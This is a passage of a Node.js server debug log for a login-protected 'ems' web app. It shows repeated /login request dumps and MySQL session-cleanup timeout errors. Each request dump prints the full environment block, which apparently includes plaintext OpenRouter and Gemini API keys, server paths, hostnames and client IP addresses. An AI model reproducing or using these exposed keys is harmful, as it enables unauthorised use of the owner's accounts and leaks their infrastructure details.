    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    referer: 'https://www.google.com',
    'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36',
    connection: 'Keep-Alive',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '216.40.73.16',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-31T01:37:09.259Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '216.40.73.16',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_REFERER: 'https://www.google.com',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36',
    HTTP_CONNECTION: 'Keep-Alive',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '216.40.73.16',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-03-30T01:37:13.383Z server-connect:router Serving templateView /login
2026-03-30T01:37:13.383Z server-connect:app Executing action step identify
2026-03-30T01:37:13.384Z server-connect:app options: { provider: 'security' }
2026-03-30T01:37:13.384Z server-connect:auth No login cookie found
2026-03-30T01:37:13.384Z server-connect:output identity: false
2026-03-30T01:37:13.384Z server-connect:router Render template layouts/authentication
2026-03-30T01:37:13.384Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    referer: 'https://www.google.com',
    'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36',
    connection: 'Keep-Alive',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '216.40.73.16',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-31T01:37:13.383Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '216.40.73.16',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_REFERER: 'https://www.google.com',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36',
    HTTP_CONNECTION: 'Keep-Alive',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '216.40.73.16',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-03-30T01:37:13.561Z server-connect:router Serving templateView /login/
2026-03-30T01:37:13.562Z server-connect:app Executing action step identify
2026-03-30T01:37:13.562Z server-connect:app options: { provider: 'security' }
2026-03-30T01:37:13.562Z server-connect:auth No login cookie found
2026-03-30T01:37:13.562Z server-connect:output identity: false
2026-03-30T01:37:13.562Z server-connect:router Render template layouts/authentication
2026-03-30T01:37:13.562Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    referer: 'https://www.google.com',
    'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36',
    connection: 'Keep-Alive',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '216.40.73.16',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-31T01:37:13.560Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '216.40.73.16',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_REFERER: 'https://www.google.com',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36',
    HTTP_CONNECTION: 'Keep-Alive',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '216.40.73.16',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-03-30T01:37:15.675Z server-connect:router Serving templateView /login
2026-03-30T01:37:15.676Z server-connect:app Executing action step identify
2026-03-30T01:37:15.676Z server-connect:app options: { provider: 'security' }
2026-03-30T01:37:15.676Z server-connect:auth No login cookie found
2026-03-30T01:37:15.676Z server-connect:output identity: false
2026-03-30T01:37:15.676Z server-connect:router Render template layouts/authentication
2026-03-30T01:37:15.676Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    referer: 'https://www.google.com',
    'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36',
    connection: 'Keep-Alive',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '216.40.73.16',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-31T01:37:15.675Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '216.40.73.16',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_REFERER: 'https://www.google.com',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36',
    HTTP_CONNECTION: 'Keep-Alive',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '216.40.73.16',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-03-30T01:37:18.878Z server-connect:router Serving templateView /login
2026-03-30T01:37:18.878Z server-connect:app Executing action step identify
2026-03-30T01:37:18.878Z server-connect:app options: { provider: 'security' }
2026-03-30T01:37:18.878Z server-connect:auth No login cookie found
2026-03-30T01:37:18.878Z server-connect:output identity: false
2026-03-30T01:37:18.878Z server-connect:router Render template layouts/authentication
2026-03-30T01:37:18.878Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    referer: 'https://www.google.com',
    'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36',
    connection: 'Keep-Alive',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '216.40.73.16',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-31T01:37:18.877Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '216.40.73.16',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_REFERER: 'https://www.google.com',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36',
    HTTP_CONNECTION: 'Keep-Alive',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '216.40.73.16',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-30 02:21:39' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-30 02:21:39' as DATETIME)"
}
2026-03-30T08:10:18.942Z server-connect:router Serving templateView /
2026-03-30T08:10:18.944Z server-connect:app Executing action step identify
2026-03-30T08:10:18.944Z server-connect:app options: { provider: 'security' }
2026-03-30T08:10:18.944Z server-connect:auth No login cookie found
2026-03-30T08:10:18.944Z server-connect:output identity: false
2026-03-30T08:10:18.944Z server-connect:app Executing action step restrict
2026-03-30T08:10:18.944Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-30T08:10:18.945Z server-connect:output restrict: undefined
2026-03-30T08:10:18.965Z server-connect:router Serving templateView /login
2026-03-30T08:10:18.966Z server-connect:app Executing action step identify
2026-03-30T08:10:18.966Z server-connect:app options: { provider: 'security' }
2026-03-30T08:10:18.966Z server-connect:auth No login cookie found
2026-03-30T08:10:18.966Z server-connect:output identity: false
2026-03-30T08:10:18.966Z server-connect:router Render template layouts/authentication
2026-03-30T08:10:18.966Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36',
    'accept-encoding': 'gzip',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
    connection: 'keep-alive',
    'accept-language': 'en-US,en;q=0.5',
    'x-forwarded-for': '91.224.92.14',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-31T08:10:18.965Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '91.224.92.14',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
    HTTP_CONNECTION: 'keep-alive',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.5',
    'HTTP_X_FORWARDED-FOR': '91.224.92.14',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-30 08:45:40' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-30 08:45:40' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-30 09:00:40' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-30 09:00:40' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-30 09:26:40' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-30 09:26:40' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-30 10:45:41' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-30 10:45:41' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-30 13:05:41' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
